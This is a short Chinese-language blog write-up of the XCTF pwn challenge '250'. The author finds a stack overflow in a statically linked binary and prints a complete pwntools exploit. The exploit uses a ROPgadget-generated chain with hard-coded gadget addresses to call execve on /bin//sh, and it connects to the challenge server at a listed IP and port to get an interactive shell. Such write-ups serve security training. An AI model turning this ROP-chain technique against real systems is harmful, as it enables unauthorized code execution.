XCTF-250-WP

Posted on Jan 4, 2021

这个 print,不仔细看怎么看的出来!(这个v4我愚蠢地以为是识别错误)浪费我半个小时想到底怎么用fmt利用!更可气的是xctf上还没什么人做,让我以为很难,又是什么我没学过的高级利用,点开 print一看,好嘛,就是这么简单枯燥的一个栈溢出!

程序是静态链接的,所以考虑ROPgadget直接生成ropchain

exp

#!/usr/bin/env python2     
# execve generated by ROPgadget  
from pwn import *                           
from struct import pack    
                           
# Padding goes here        
p = ''                     
                           
p += pack('<I', 0x0806efbb) # pop edx ; ret  
p += pack('<I', 0x080eb060) # @ .data  
p += pack('<I', 0x080b89e6) # pop eax ; ret  
p += '/bin'                
p += pack('<I', 0x080549bb) # mov dword ptr [edx], eax ; ret   
p += pack('<I', 0x0806efbb) # pop edx ; ret  
p += pack('<I', 0x080eb064) # @ .data + 4  
p += pack('<I', 0x080b89e6) # pop eax ; ret  
p += '//sh'                
p += pack('<I', 0x080549bb) # mov dword ptr [edx], eax ; ret   
p += pack('<I', 0x0806efbb) # pop edx ; ret  
p += pack('<I', 0x080eb068) # @ .data + 8  
p += pack('<I', 0x080493a3) # xor eax, eax ; ret   
p += pack('<I', 0x080549bb) # mov dword ptr [edx], eax ; ret   
p += pack('<I', 0x080481c9) # pop ebx ; ret  
p += pack('<I', 0x080eb060) # @ .data  
p += pack('<I', 0x080df1b9) # pop ecx ; ret  
p += pack('<I', 0x080eb068) # @ .data + 8  
p += pack('<I', 0x0806efbb) # pop edx ; ret  
p += pack('<I', 0x080eb068) # @ .data + 8  
p += pack('<I', 0x080493a3) # xor eax, eax ; ret   
p += pack('<I', 0x0804e7d2) # inc eax ; ret  
p += pack('<I', 0x0804e7d2) # inc eax ; ret  
p += pack('<I', 0x0804e7d2) # inc eax ; ret  
p += pack('<I', 0x0804e7d2) # inc eax ; ret  
p += pack('<I', 0x0804e7d2) # inc eax ; ret  
p += pack('<I', 0x0804e7d2) # inc eax ; ret  
p += pack('<I', 0x0804e7d2) # inc eax ; ret  
p += pack('<I', 0x0804e7d2) # inc eax ; ret  
p += pack('<I', 0x0804e7d2) # inc eax ; ret  
p += pack('<I', 0x0804e7d2) # inc eax ; ret  
p += pack('<I', 0x0804e7d2) # inc eax ; ret  
p += pack('<I', 0x0806cbb5) # int 0x80   

p = 'a' * 0x3A + 'a' * 0x4 + p
#sh = process("./250")
sh = remote("220.249.52.134","35508")
sh.sendlineafter("Size]",str(len(p)))
sh.sendlineafter("Data]",p)
sh.interactive()

后记

好吧,牢骚归牢骚,其实本题还是给了我一个提醒的,就是要仔细看代码,不能一扫而过。250的名字取得很好,我现在确实觉得自己是250